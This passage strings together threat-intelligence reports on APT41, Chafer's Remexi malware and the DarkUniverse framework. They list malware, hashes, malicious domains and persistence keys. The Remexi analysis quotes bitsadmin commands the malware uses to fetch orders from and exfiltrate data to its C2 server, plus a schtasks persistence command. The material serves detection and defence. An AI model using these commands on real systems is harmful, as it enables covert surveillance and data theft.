FE_APT_Trojan_Linux64_HIGHNOON_1 FE_APT_Rootkit_Linux64_HIG HNOON_1 HIGHNOON. PASTEBOY HIGHNOON.PASTEBOY is a variant of HIGHNOON that utilizes legitimate websites hosting encoded base64 strings that decode to the actual C2 address. TROJAN.APT.PASTEBOY HKDOOR HKDOOR (aka Hacker's Door) is a remote administration tool designed as a DLL that can either run as a service or with rundll32.exe. HKDOOR drops and installs a kernel rootkit and has a variety of capabilities, including manipulating files and processes, connecting to URLs, and shutting down the compromised system. All HKDOOR's string resources are encoded with a transposition algorithm. Backdoor.APT.HKDOOR FE_APT_HOMEUNIX_1 FE_APT_HOMEUNIX_2 FE_APT_HOMEUNIX_3 FE_APT_HOMEUNIX_4 FE_APT_HOMEUNIX_5 FE_APT_HOMEUNIX_6 HOMEUNIX HOMEUNIX is primarily a generic launcher for downloaded plugins. The plugins are stored in a memory buffer and then loaded and linked manually by the malware, meaning the plugins never have to touch disk. However, HOMEUNIX may also store and save plugins. The plugins will run after the system is rebooted without the actor having to send them again to the victim system. FE_APT_HOMEUNIX_7 FE_APT_HOMEUNIX_8 FE_APT_HOMEUNIX_9 FE_APT_HOMEUNIX_10 FE_APT_HOMEUNIX_11 FE_APT_HOMEUNIX_12 FE_APT_HOMEUNIX_13 FE_APT_HOMEUNIX_14 FE_APT_HOMEUNIX_15 FE_APT_HOMEUNIX_16 APT.Backdoor.Win.HOMEUNIX Backdoor.HOMEUNIX.SNK.DNS Trojan.APT.9002, Backdoor.APT.9002 SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Table 15. Malware used by APT41. Malware Description Detected as HOTCHAI HOTCHAI is a backdoor that receives and XOR-decodes a FE_APT_Backdoor_HOTCHAI DNS response message to retrieve the true C&C IP address. JUMPALL JUMPALL is a malware dropper that has been observed dropping HIGHNOON/ZXSHELL/SOGU. LATELUNCH LATELUNCH is a loader that decodes a file specified on the command line and loads and executes it in memory. LIFEBOAT LIFEBOAT is a backdoor that has the capability to communicate with its C&C over HTTP. LOWKEY LOWKEY is a passive backdoor that utilizes a user mode rootkit to provide covert communications with the backdoor component by forwarding packets in between a TCP Socket and a named pipe. FE_Dropper_Win_JUMPALL_1 FE_Dropper_Win_JUMPALL_2 FE_Loader_Win64_LATELUNCH_1 FE_APT_Dropper_Win32_LIFE BOAT_1 FE_APT_Downloader_Win32_ LIFEBOAT_1 APT.Downloader.Win.LIFEBOAT FE_APT_ROOTKIT_WIN64_LOWKEY_1 FE_APT_LOADER_WIN64_LOWKEY_1 FE_APT_BACKDOOR_WIN64_LOWKEY_1 APT.BACKDOOR.Win.LOWKEY Trojan.Njrat Backdoor.Bladabindi Trojan.Bladabindi Backdoor.MSIL.Bladabindi NJRAT njRAT is a RAT project that was in development possibly as early as 2010, and it has seen a number of incremental updates since that time. The author of njRAT is widely believed to be a Kuwaiti actor using the handle "njq8." njq8, whose real name is believed to be Naser Al Mutairi, and who has previously used the handles "NJN" and "xNJQ8x," has been involved in the development of multiple hacking tools, including RATs, worms, crypters, and binders. He is, however, primarily known as the developer of njRAT, which he has distributed on private hacking forums and more visibly via Twitter. Trojan.Bladabindi.F Trojan.Bladabindi.njRat Trojan.Bladabindi.DNS Backdoor.Bladabindi.DNS Backdoor.Ratenjay Backdoor.LV Backdooor.njRat.MVX Backdoor.njRat.MVX Win.Worm.Njrat-2 Trojan.NjRAT, Win.Worm.Njrat Malware.DTI.Bladabindi, Trojan.MSIL.Bladabindi Hacktool.Bladabindi PACMAN PACMAN is a backdoor designed to run as a service. Once active, PACMAN calls out to a hard-coded C&C domain. PACMAN has the following capabilities: retrieve drive types, terminate processes, create directories, obtain a directory listing, move files, return file attributes, remove directories, create files, read files, and copy files. PACMAN can also extract credentials from Internet Explorer. PHOTO PHOTO is a DLL backdoor that can obtain directory, file, and drive listings, create a reverse shell, perform screen captures, record video and audio, list, terminate, and create processes, enumerate, start, and delete registry keys and values, log keystrokes, return user names and passwords from protected storage, and rename, delete, copy, move, read, and write to files. FE_Backdoor_Win32_PACMAN_1 Backdoor.Win.PACMAN Backdoor.APT.PHOTO FE_APT_Photos_Metadata SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Table 15. Malware used by APT41. Malware Description POISONPLUG POISONPLUG is a highly obfuscated modular backdoor with plug-in capabilities. The malware is capable of registry or service persistence, self-removal, plug-in execution, and network connection forwarding. POISONPLUG has been observed using social platforms to host encoded C&C commands. POISONPLUG. SHADOW POISONPLUG.SHADOW is a modular backdoor with plugin capabilities. The first stage is shellcode, observed within compromised legitimate software. It connects to a C&C server for validation and configuration information to download the second stage. The second stage is a modular backdoor that can download plugins for additional functionality. POISONPLUG.SHADOW is assessed as an evolution of the POISONPLUG family. POTROAST POTROAST is a backdoor that connects to a hardcoded C&C server. Its capabilities include downloading, uploading, and executing files and creating a reverse shell. ROCKBOOT ROCKBOOT can access and write to the compromised system's hard disk drive beneath the operating system and file system to bypass the normal MBR boot sequence and execute malware prior to the host operating system being initialized. ROCKBOOT does not contain a malicious payload but relies on a secondary payload for malicious activities, which is specified at install time. SAGEHIRE SAGEHIRE is a multistage implant that decodes each stage using shellcode and includes keylogging capabilities. SWEETCANDLE SWEETCANDLE is a downloader that can download and execute a payload received from the C&C server. SOGU TERA TIDYELF SOGU is a backdoor that is capable of file upload and download, arbitrary process execution, filesystem and registry access, service configuration access, remote shell access, and implementing a custom VNC/RDP-like protocol to provide the C&C server with graphical access to the desktop. TERA is a backdoor that uses legitimate services, such as Google Translate and Yahoo! Babel Fish, as proxies to download C&C configurations. It also uses a rootkit to mask network activity. After resolving the IP address of its C&C server, TERA will provide an input output control (IOCTL) code to its driver (rootkit component). TIDYELF is a dropper for the WINTERLOVE backdoor. WINTERLOVE has been observed embedded within a resource within TIDYELF. TIDYELF will load the main WINTERLOVE component by injecting it into the iexplore. exe process. It will then create a registry key named HKLM\SOFTWARE\RAT to store configuration data for WINTERLOVE components to use. Detected as Backdoor.Win.POISONPLUG APT.Backdoor.Win.POISONPLUG FE_Backdoor_Win_POISONPLUG_1 FE_Backdoor_Win32_POISONPLUG_1 FE_Backdoor_Win_POISONPLUG_2 FE_APT_Backdoor_Win_POTROAST_1 APT.Backdoor.Win.POTROAST FE_APT_Backdoor_ROCKBOOT FE_Loader_Win_ROCKBOOT_1 FE_APT_Sunshop_Dialog FE_APT_Downloader_Win32_SWEETCANDLE_1 FE_APT_Downloader_Win32_SWEETCANDLE_2 APT.Downloader.Win.SWEETCANDLE Backdoor.APT.SOGU Backdoor.APT.Kaba Trojan.Plugx FE_APT_Backdoor_Win32_TERA_1 FE_APT_Backdoor_Win32_TERA_2 FE_APT_Backdoor_Win32_TERA_3 FE_APT_Backdoor_Win64_TERA_1 FE_APT_Rootkit_Win64_TERA_1 FE_APT_Dropper_Win32_TIDYELF_1 SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Table 15. Malware used by APT41. Malware Description WIDETONE WIDETONE is a command-line tool that can perform network-based reconnaissance tasks, including port scans, service banner scans, and pingscans. WIDETONE can brute-force credentials for SQL servers and Inter-Process Communication (IPC) shares. WIDETONE can also query Windows host information and perform dictionary and brute-force attacks. WINTERLOVE WINTERLOVE is a backdoor used by suspected Chinese cyber espionage actors. WINTERLOVE attempts to load and execute remote code in a running process and can enumerate system files and directories. XDOOR X-Door is a full-featured remote administration tool (RAT) with a configurable deployment and plug-in architecture. It is freely downloadable through a Chinese website, and the deployment interface and server use the Chinese language. X-Door contains functionality for keylogging, audio and video capture, file transfers, acting as a proxy, retrieving system information, providing a reverse command shell, injecting DLLs, and downloading and launching commands. XMRIG XMRIG is an open-source Monero cryptocurrency miner. It has variants for CPU, NVIDIA GPU, and AMD GPU mining. Detected as FE_Trojan_Win_WIDETONE_1 FE_Trojan_Win32_WIDETONE_1 FE_APT_Loader_Win32_WINTERLOVE_1 FE_APT_Keylogger_Win32_WINTERLOVE_1 FE_APT_Loader_Win32_WINTERLOVE_2 FE_APT_Trojan_Win32_WINTERLOVE_1 FE_APT_Backdoor_Win32_WINTERLOVE_1 FE_APT_Backdoor_XDOOR Backdoor.APT.XDOOR FE_Trojan_Win_XMRMiner_1 FE_PUP_Win_XMRig_1 Backdoor.APT.ZXShell FE_APT_Backdoor_ZXShell FE_APT_ZXSHELL_1 ZXSHELL ZXSHELL is a backdoor that can be downloaded from the internet, particularly Chinese hacker websites. The backdoor can launch port scans, run a keylogger, capture screenshots, set up an HTTP or SOCKS proxy, launch a reverse command shell, cause SYN floods, and transfer/ delete/run files. The publicly available version of the tool provides a graphical user interface that malicious actors can use to interact with victim backdoors. Simplified Chinese is the language used for the bundled ZXSHELL documentation. FE_APT_ZXSHELL_2 FE_APT_ZXSHELL_3 FE_APT_ZXSHELL_4 FE_APT_ZXSHELL_5 FE_APT_ZXSHELL_6 Backdoor.APT.ZXShell.SYSINFO_Command Backdoor.APT.ZXShell.GETCMD_Command Backdoor.APT.ZXShell.FILEMG_Command Backdoor.APT.ZXShell.TRANSFILE_Command, ZXSHELL RAT, Trojan.ZxShell Backdoor.APT.Viper FE_APT_VIPER SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION TECHNICAL ANNEX APT41 IOCs Table 16. CRACKSHOT File MD5 File SHA1 04fb0ccf3ef309b1cd587f609ab0e81e 44260a1dfd92922a621124640015160e621f32d5 0b2e07205245697a749e422238f9f785 dde82093decde6371eb852a5e9a1aa4acf3b56ba 272537bbd2a8e2a2c3938dc31f0d2461 a045939f53c5ad2c0f7368b082aa7b0bd7b116da dd792f9185860e1464b4346254b2101b a260dcf193e747cee49ae83568eea6c04bf93cb3 fcfab508663d9ce519b51f767e902806 8272c1f41f7c223316c0d78bd3bd5744e25c2e9f File SHA256 993d14d00b1463519fea78ca65d852966 3f487cd76b67b3fd35440bcdf7a8e31 049a2d4d54c511b16f8bc33dae670736bf 938c3542f2342192ad877ab38a7b5d d00b3edc3fe688fa035f1b919ef6e8f4 51a9c2197ef83d9bac3fa3af5e752243 7096f1fdefa15065283a0b7928d1ab9792 3688c7974f98a33c94de214c675567 c667c9b2b9741247a56fcf0deebb4dc52 b9ab4c0da6d9cdaba5461a5e2c86e0c Table 17. GEARSHIFT File MD5 File SHA1 5b26f5c7c367d5e976aaba320965cc7f c2fb50c9ef7ae776a42409bce8ef1be464654a4e f8c89ccd8937f2b760e6706738210744 f3c222606f890573e6128fbeb389f37bd6f6bda3 File SHA256 7e0c95fc64357f12e837112987333cdaf 8c1208ef8c100649eba71f1ea90c1db 4aa6970cac04ace4a930de67d4c18106c f4004ba66670cfcdaa77a4c4821a213 Table 18. HIGHNOON File MD5 File SHA1 46a557fbdce734a6794b228df0195474 41bac813ae07aef41436e8ad22d605f786f9e099 77c60e5d2d99c3f63f2aea1773ed4653 ad77a34627192abdf32daa9208fbde8b4ebfb25c 849ab91e93116ae420d2fe2136d24a87 3f1dee370a155dc2e8fb15e776821d7697583c75 File SHA256 42d138d0938494fd64e1e919707e7201 e6675b1122bf30ab51b1ae26adaec921 7566558469ede04efc665212b45786a 730055770f6ea8f924d8c1e324cae8691 7cd17fc948eb5fa398b8554fea036bdb 3c0045880e03acbe532f4082c271e3c5 SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Table 19. HIGHNOON.BIN File MD5 36711896cfeb67f599305b590f195aec File SHA1 File SHA256 1036a7088b060250bb66b6de91f0c6ac462 490c3e4af829e85751a44d21b25de1781 dc24c cfe4961afdef6bb5759d9451f530994 7d51ea0230d4692eeedc2d5a4cd66d2d 5ee7c57dc84391f63eaa3824c53cc10eafc9e388 a0a96138b57ee24eed31b652ddf60d4e 03de2118aac6f20786043c7ef0324ef01dcf4265 63e8ed9692810d562adb80f27bb1aeaf 48849e468bf5fd157bc83ca83139b6d7 79190925bd1c3fae65b0d11db40ac8e6 1fb9326ccfed9b7e09084b891089602d Table 20. JUMPALL File MD5 ba08b593250c3ca5c13f56e2ca97d85e File SHA1 File SHA256 adde0644a572ed593e8b0566698d4e3de0fe c51c5bbc6f59407286276ce07f0f7ea9 fb8a 94e76216e0abe34cbf20f1b1cbd9446d Table 21. POISONPLUG File MD5 File SHA1 223e4cc4cf5ce049f300671697a17a01 1835c7751436cc199c55b42f34566d25fe6104ca 37e100dd8b2ad8b301b130c2bca3f1ea 32466d8d232d7b1801f456fe336615e6fa5e6ffb 557ff68798c71652db8a85596a4bab72 971bb08196bba400b07cf213345f55ce0a6eedc8 830a09ff05eac9a5f42897ba5176a36a 2366d181a1697bcb4f368df397dd0533ab8b5d27 b0877494d36fab1f9f4219c3defbfb19 4dc5fadece500ccd8cc49cfcf8a1b59baee3382a c8403fabda4d036a55d0353520e765c9 d0429abec299ddfee7e1d9ccff1766afd4c0992b ff8d92dfbcda572ef97c142017eec658 6f065eea36e28403d4d518b8e24bb7a915b612c3 ffd0f34739c1568797891b9961111464 82072cb53416c89bfee95b239f9a90677a0848df File SHA256 e65d39fa659f64a57ee13e8a638abd9 031fa1486311d2782f32e979d5dee1ca5 2eea29d83f485897e2bac9501ef000cc 266ffe10019d8c529555a3435ac4aabd 5d971ed3947597fbb7e51d806647b37d 64d9fe915b35c7c9eaf79a37b82dab90 70c03ce5c80aca2d35a5555b0532eede de24d4cc6bdb32a2c8f7e630bba5f26e 3e6c4e97cc09d0432fbbbf3f3e424d4a a967d3073b6002305cd6573c47f0341f 9283703dfbc642dd70c8c76675285526 90e998bcb3f3374273c0b5c90c0d1366 f4d57acde4bc546a10cd199c70cdad0 9f576fdfe66a36b08a00c19ff6ae19661 0055dfaccc952c99b1171ce431a02abf ce5c6f8fb5dc39e4019b624a7d03bfcb SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Table 22. POISONPLUG.SHADOW File MD5 File SHA1 72584d6b7dd10c82d9118567b548b2b1 f067443c2c4d99dc6577006a2f105e51af731659 97363d50a279492fda14cbab53429e75 f1a181d29b38dfe60d8ea487e8ed0ef30f064763 a6c7db170bc7a4ee2cdb192247b59cd6 5a85d1e19e0414fc59e454ccbaef0a3c6bb41268 File SHA256 faedf9fef6edac2f0565882112b2eae14e dda024239d3218a9fe9ac7e0b12db6 462a02a8094e833fd456baf0a6d4e18 bb7dab1a9f74d5f163a8334921a4ffde8 92cb362ae8d24c05f368d13036534fe01 4344994d46031a0a8636a7ca0b792c6 Phishing Payloads Table 23. (MERS) File MD5 5e87b09f9a3f1b728c9797560a38764b File SHA1 67c957c268c1e56cc8eb34b02e5c09eae62680f5 File SHA256 354c174e583e968f0ecf86cc20d59ecd 6e0f9d21800428453b8db63f344f0f22 Table 24. Documents.7z File MD5 8c6cceae2eea92deb6f7632f949293f0 File SHA1 b193ff40a98cd086f92893784d8896065faa3ee3 File SHA256 bae8f4f5fc959bff980d6a6d12797b0d 647e97cc811c5b9e827d0b985d87f68f SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Domains Email Addresses agegamepay[.]com ageofwuxia[.]com ageofwuxia[.]info ageofwuxia[.]net ageofwuxia[.]org bugcheck.xigncodeservice[.]com byeserver[.]com dnsgogle[.]com gamewushu[.]com gxxservice[.]com ibmupdate[.]com infestexe[.]com kasparsky[.]net linux-update[.]net macfee[.]ga micros0ff[.]com micros0tf[.]com notped[.]com operatingbox[.]com paniesx[.]com serverbye[.]com sexyjapan.ddns[.]info symanteclabs[.]com techniciantext[.]com win7update[.]net xigncodeservice[.]com akbklxp@126[.]com akbklxp@163[.]com hackershby@126[.]com hrsimon59@gmail[.]com injuriesa@126[.]com injuriesa@163[.]com injuriesa@gmail[.]com injuriesa@hotmail[.]com injuriesa@qq[.]com kbklxp@126[.]com petervc1983@gmail[.]com ravinder10@126[.]com ravinder10@hotmail[.]com ravinder10@sohu[.]com wolf_zhi@yahoo[.]com URLs To learn more about FireEye, visit: www.FireEye.com FireEye, Inc. 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SP.APT41.2019.US-EN-000209-03 Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities securelist.com/chafer-used-remexi-malware/89538 By Denis Legezo Executive Summary Throughout the autumn of 2018 we analyzed a long-standing (and still active at that time) cyber-espionage campaign that was primarily targeting foreign diplomatic entities based in Iran. The attackers were using an improved version of Remexi in what the victimology suggests might be a domestic cyber-espionage operation. This malware has previously been associated with an APT actor that Symantec calls Chafer. The malware can exfiltrate keystrokes, screenshots, browser-related data like cookies and history, decrypted when possible. The attackers rely heavily on Microsoft technologies on both the client and server sides: the Trojan uses standard Windows utilities like Microsoft Background Intelligent Transfer Service (BITS) bitsadmin.exe to receive commands and exfiltrate data. Its C2 is based on IIS using .asp technology to handle the victims HTTP requests. Remexi developers use the C programming language and GCC compiler on Windows in the MinGW environment. They most likely used the Qt Creator IDE in a Windows environment. The malware utilizes several persistence mechanisms including scheduled tasks, Userinit and Run registry keys in the HKLM hive. XOR and RC4 encryption is used with quite long unique keys for different samples. Among all these random keys once the word salamati was also used, which means health Farsi. Kaspersky Lab products detect the malware described in this report as Trojan.Win32.Remexi and Trojan.Win32.Agent. This blogpost is based in our original report shared with our APT Intelligence Reporting customers last November 2018. For more information please contact: intelreports@kaspersky.com Technical analysis The main tool used in this campaign is an updated version of the Remexi malware, publicly reported by Symantec back in 2015. The newest module s compilation timestamp is March 2018. The developers used GCC compiler on Windows in the MinGW environment. Inside the binaries the compiler left references to the names of the C source file modules used: operation_reg.c thread_command.c and thread_upload.c . Like mentioned in modules file names the malware consists of several working threads dedicated to different tasks, including C2 command parsing and data exfiltration. For both the receiving of C2 commands and exfiltration, Remexi uses the Microsoft Background Intelligent Transfer Service (BITS) mechanism to communicate with the C2 over HTTP. Proliferation So far, our telemetry hasn t provided any concrete evidence that shows us how the Remexi malware spread. However, we think it s worth mentioning that for one victim we found a correlation between the execution of Remexi s main module and the execution of an AutoIt script compiled as PE, which we believe may have dropped the malware. This dropper used an FTP with hardcoded credentials to receive its payload. FTP server was not accessible any more at the time of our analysis. Malware features Remexi boasts features that allow it to gather keystrokes, take screenshots of windows of interest (as defined in its configuration), steal credentials, logons and the browser history, and execute remote commands. Encryption consists of XOR with a hardcoded key for its configuration and RC4 with a predefined password for encrypting the victim s data. Remexi includes different modules that it deploys in its working directory, including configuration decryption and parsing, launching victim activity logging in a separate module, and seven threads for various espionage and auxiliary functions. The Remexi developers seem to rely on legitimate Microsoft utilities, which we enumerate in the table below. Utility Usage extract.exe Deploys modules from the .cab file into the working Event Cache directory bitsadmin.exe Fetches files from the C2 server to parse and execute commands. Send exfiltrated data taskkill.exe Ends working cycle of modules Persistence Persistence modules are based on scheduled tasks and system registry. Mechanisms vary for different OS versions. In the case of old Windows versions like XP, main module events.exe runs an edited XPTask.vbs Microsoft sample script to create a weekly scheduled task for itself. For newer operating systems, events.exe creates task.xml as follows: Then it creates a Windows scheduled task using the following command: schtasks.exe /create /TN \"Events\\CacheTask_" /XML \" t /F" At the system registry level, modules achieve persistence by adding themselves into the key: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit when it finds possible add values to the Winlogon subkey, and in HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activity Manager. All such indicators of comprometation are mentioned in correspondent appendix below. Commands All the commands received from the C2 are first saved to an auxiliary file and then stored encrypted in the system registry. The standalone thread will decrypt and execute them. Command Description search Searches for corresponding files search&upload Encrypts and adds the corresponding files to the upload directory with the provided name uploadfile Encrypts and adds the specified file to the upload directory with the provided name uploadfolder Encrypts and adds the mentioned directory to the upload directory with the provided name shellexecute Silently executes received command with cmd.exe wmic Silently executes received command with wmic.exe (for WMI commands) sendIEPass Encrypts and adds all gathered browser data into files for upload to C2 uninstall Removes files, directory and BITS tasks Cryptography To decrypt the configuration data, the malware uses XOR with 25-character keys such as waEHleblxiQjoxFJQaIMLdHKz that are different for every sample. RC4 file encryption relies on the Windows 32 CryptoAPI, using the provided value s MD5 hash as an initial vector. Among all these random keys once the word salamati was also used, which means health in Farsi. Configuration Config.ini is the file where the malware stores its encrypted configuration data. It contains the following fields: Field Sample value Description diskFullityCheckRatio Malware working directory size threshold. It will be deleted if it becomes as large as the free available space multiplied by this ratio captureScreenTimeOut captureActiveWindowTimeOut Probability of full and active window screenshots being taken after mouse click captureScreenQC captureActiveQC CaptureSites VPN*0,0 Login*0,0 mail*0,0 Security*0,0 Window titles of interest for screenshots, using left mouse button and Enter keypress hook important upLog.txt upSCRLog.txt upSpecial.txt upFile.txt upMSLog.txt List of files to send to C2 using bitsadmin.exe from the dedicated thread maxUpFileSizeKByte 1000000 Maximum size of file uploaded to C2 Servers http://108.61.189.174 Control server HTTP URL ZipPass KtJvOXulgibfiHk Password for uploaded zip archives Not really used. Probably full and active window screenshot quality browserPasswordCheckTimeout 300000 Milliseconds to wait between gathering key3.db, cookies.sqlite and other browser files in dedicated thread Most of the parameters are self-explanatory. However, captureScreenTimeOut and captureActiveWindowTimeOut are worth describing in more detail as their programming logic is not so intuitive. One of the malware threads checks in an infinite loop if the mouse button was pressed and then also increments the integer iterator infinitely. If the mouse hooking function registers a button hit, it lets the screenshotting thread know about it through a global variable. After that, it checks if the iterator divided by (captureScreenTimeOut/captureActiveWindowTimeOut) has a remainder of 0. In that case, it takes a screenshot. Main module (events.exe) SHA256 b1fa803c19aa9f193b67232c9893ea57574a2055791b3de9f836411ce000ce31 c981273c32b581de824e1fd66a19a281 Compiled GCC compiler in MinGW environment version 2.24, timestamp set to 1970 by compiler Type I386 Windows GUI EXE Size 68 608 After checking that the malware is not already installed, it unpacks HCK.cab using the Microsoft standard utility expand.exe with the following arguments: expand.exe -r \"\" -f:* \"\\\" Then it decrypts config.ini file with a hardcoded 25-byte XOR key that differs for every sample. It sets keyboard and mouse hooks to its handlekeys() and MouseHookProc() functions respectively and starts several working threads: Thread description Gets commands from C2 and saves them to a file and system registry using the bitsadmin.exe utility Decrypts command from registry using RC4 with a hardcoded key, and executes it Transfers screenshots from the clipboard to \Cache005 subdirectory and Unicode text from clipboard to log.txt, XOR-ed with the salamati key ( health in Farsi) Transfers screenshots to \Cache005 subdirectory with captureScreenTimeOut and captureScreenTimeOut frequencies Checks network connection, encrypts and sends gathered logs Unhooks mouse and keyboard, removes bitsadmin task Checks if malware s working directory size already exceeds its threshold Gathers victim s credentials, visited website cache, decrypted Chrome login data, as well as Firefox databases with cookies, keys, signons and downloads The malware uses the following command to receive data from its C2: bitsadmin.exe /TRANSFER HelpCenterDownload /DOWNLOAD /PRIORITY normal http:///asp.asp?ui=nrg-- Activity logging module (Splitter.exe) This module is called from the main thread to obtain screenshots of windows whose titles are specified in the configuration CaptureSites field, bitmaps and text from clipboard, etc. SHA256 a77f9e441415dbc8a20ad66d4d00ae606faab370ffaee5604e93ed484983d3ff 1ff40e79d673461cd33bd8b68f8bb5b8 Compiled 2017.08.06 11:32:36 (GMT), 2.22 Type I386 Windows Console EXE Size 101 888 Instead of implementing this auxiliary module in the form of a dynamic linked library with its corresponding exported functions, the developers decided to use a standalone executable started by events.exe with the following parameters: Parameter Description -scr Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration. Can capture all screen ( AllScreen ) or the active window ActiveWindow Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration. Specifies the screen coordinates to take -zip Name of password (from configuration data) protected zip archive -clipboard Screenshot file name where a bitmap from the clipboard is saved in Cache005 subdirectory, zipped with password from configuration Data exfiltration Exfiltration is done through the bitsadmin.exe utility. The BITS mechanism has existed since Windows XP up to the current Windows 10 versions and was developed to create download/upload jobs, mostly to update the OS itself. The following is the command used to exfiltrate data from the victim to the C2: bitsadmin.exe /TRANSFER HelpCenterUpload /UPLOAD /PRIORITY normal " /YP01__" "" Victims The vast majority of the users targeted by this new variant of Remexi appear to have Iranian IP addresses. Some of these appear to be foreign diplomatic entities based in the country. Attribution The Remexi malware has been associated with an APT actor called Chafer by Symantec. One of the human-readable encryption keys used is salamati . This is probably the Latin spelling for the word health in Farsi. Among the artifacts related to malware authors, we found in the binaries a .pdb path containing the Windows user name Mohamadreza New Interestingly, the FBI website for wanted cybercriminals includes two Iranians called Mohammad Reza, although this could be a common name or even a false flag. Conclusions Activity of the Chafer APT group has been observed since at least 2015, but based on things like compilation timestamps and C&C registration, it s possible they have been active for even longer. Traditionally, Chafer has been focusing on targets inside Iran, although their interests clearly include other countries in the Middle East. We will continue to monitor how this set of activity develops in the future. Indicators of compromise File hashes events.exe 028515d12e9d59d272a2538045d1f636 03055149340b7a1fd218006c98b30482 25469ddaeff0dd3edb0f39bbe1dcdc46 41b2339950d50cf678c0e5b34e68f537 4bf178f778255b6e72a317c2eb8f4103 7d1efce9c06a310627f47e7d70543aaf 9f313e8ef91ac899a27575bc5af64051 aa6246dc04e9089e366cc57a447fc3a4 c981273c32b581de824e1fd66a19a281 dcb0ea3a540205ad11f32b67030c1e5a splitter.exe c6721344af76403e9a7d816502dca1c8 d3a2b41b1cd953d254c0fc88071e5027 1FF40E79D673461CD33BD8B68F8BB5B8 ecae141bb068131108c1cd826c82d88b 12477223678e4a41020e66faebd3dd95 460211f1c19f8b213ffaafcdda2a7295 53e035273164f24c200262d61fa374ca Domains and IPs 108.61.189.174 Hardcoded mutexes Local\TEMPDAHCE01 Local\zaapr Local\reezaaprLog Local\{Temp-00-aa-123-mr-bbb} Scheduled task CacheTask_ Directory with malicious modules Main malware directory: %APPDATA%\Microsoft\Event Cache Commands from C2 in subdirectory: Cache001\cde00.acf Events.exe persistence records in Windows system registry keys HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activity Manager Victims fingerprints stored in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\PidRegData or HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\PidRegData RC4 encrypted C2 commands stored in HKCU\SOFTWARE\Microsoft\Fax HTTP requests template http:///asp.asp?ui=nrg-- And bitsadmin.exe task to external network resources, addressed by IP addresses DarkUniverse the mysterious APT framework #27 securelist.com/darkuniverse-the-mysterious-apt-framework-27/94897 By GReAT , AMR on November 5, 2019. 10:00 am In April 2017, ShadowBrokers published their well-known Lost in Translation leak, which, among other things, contained an interesting script that checked for traces of other APTs in the compromised system. In 2018, we found an APT described as the 27 th function of this script, which we call DarkUniverse . This APT was active for at least eight years, from 2009 until 2017. We assess with medium confidence that DarkUniverse is a part of the ItaDuke set of activities due to unique code overlaps. ItaDuke is an actor known since 2013. It used PDF exploits for dropping malware and Twitter accounts to store C2 server urls. Technical details Infection vector Spear phishing was used to spread the malware. A letter was prepared separately for each victim to grab their attention and prompt them to open an attached malicious Microsoft Office document. Each malware sample was compiled immediately before being sent and included the latest available version of the malware executable. Since the framework evolved from 2009 to 2017, the last releases are totally different from the first ones, so the current report details only the latest available version of the malware used until 2017. The executable file embedded in the documents extracts two malicious files from itself, updater.mod and glue30.dll, and saves them in the working directory of the malware %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Reorder. After that, it copies the legitimate rundll32.exe executable into the same directory and uses it to run the updater.mod library. The updater.mod module This module is implemented as a dynamic-link library with only one exported function, called callme@16. This module is responsible for such tasks as providing communication with the C2 server, providing the malware integrity and persistence mechanism and managing other malware modules. The persistence mechanism is provided by a link file, which is placed by updater.mod into the startup folder, ensuring malware execution after a reboot. If the link file becomes corrupted, the updater.mod module restores it. Communication with C2 In this campaign the C2 servers were mostly based on cloud storage at mydrive.ch. For every victim, the operators created a new account there and uploaded additional malware modules and a configuration file with commands to execute it. Once executed, the updater.mod module connected to the C2 and performed the following actions: downloaded the command file to the working directory; uploaded files collected and prepared by additional malicious modules (if any) to the C2. These files were located in a directory called queue or ntfsrecover in the working directory. Files in this directory could have one of two extensions: .d or .upd depending on whether they had already been uploaded to the server or not. downloaded additional malware modules: dfrgntfs5.sqt a module for executing commands from the C2; msvcrt58.sqt a module for stealing mail credentials and emails; zl4vq.sqt legitimate zlib library used by dfrgntfs5; %victim_ID%.upe optional plug-in for dfrgntfs5. Unfortunately, we were unable to obtain this file. All malware modules are encrypted with a custom algorithm: The credentials for the C2 account are stored in the configuration that is placed in the registry, but the updater.mod module also stores a copy as an encrypted string in the executable file. Also, the configuration specifies how often updater.mod polls the C2, supporting both an active mode and a partly active mode. Malware configuration in the registry The malware configuration is stored in the registry in the SOFTWARE\AppDataLow\GUI\LegacyP entry. Different values are detailed in the following table: Value name Description C2 domain. C2 domain path. C2 credential username. C2 credential password. install 1 if malware is installed. DESACTIVAR | HABILITAR specifies whether msvcrt58 and glue libraries are active. TL2, TL3 If TL1 is not NULL, it specifies time bounds when TL1 option is applied. If 1, updater.mod should download msvcrt58.sqt from C2 again. If 1, updater.mod should download dfrgntfs5.sqt from C2 again. If not 0, framework should uninstall itself. cafe REDBULL | SLOWCOW specifies how often updater.mod polls C2. path Path to the folder from which files are being sent to C2. Modules glue30.dll and msvcrt58.sqt The glue30.dll malware module provides keylogging functionality. The updater.mod module uses the Win API function SetWindowsHookExW to install hooks for the keyboard and to inject glue30.dll into processes that get keyboard input. After that, glue30.dll loads and begins intercepting input in the context of each hooked process. The msvcrt58.sqt module intercepts unencrypted POP3 traffic to collect email conversations and victims credentials. This module looks for traffic from the following processes: outlook.exe; winmail.exe; msimn.exe; nlnotes.exe; eudora.exe; thunderbird.exe; thunde~1.exe; msmsgs.exe; msnmsgr.exe. The malware parses intercepted POP3 traffic and sends the result to the main module (updater.mod) for uploading to the C2. This is done by hooking the following networkrelated Win API functions: ws2_32.connect; ws2_32.send; 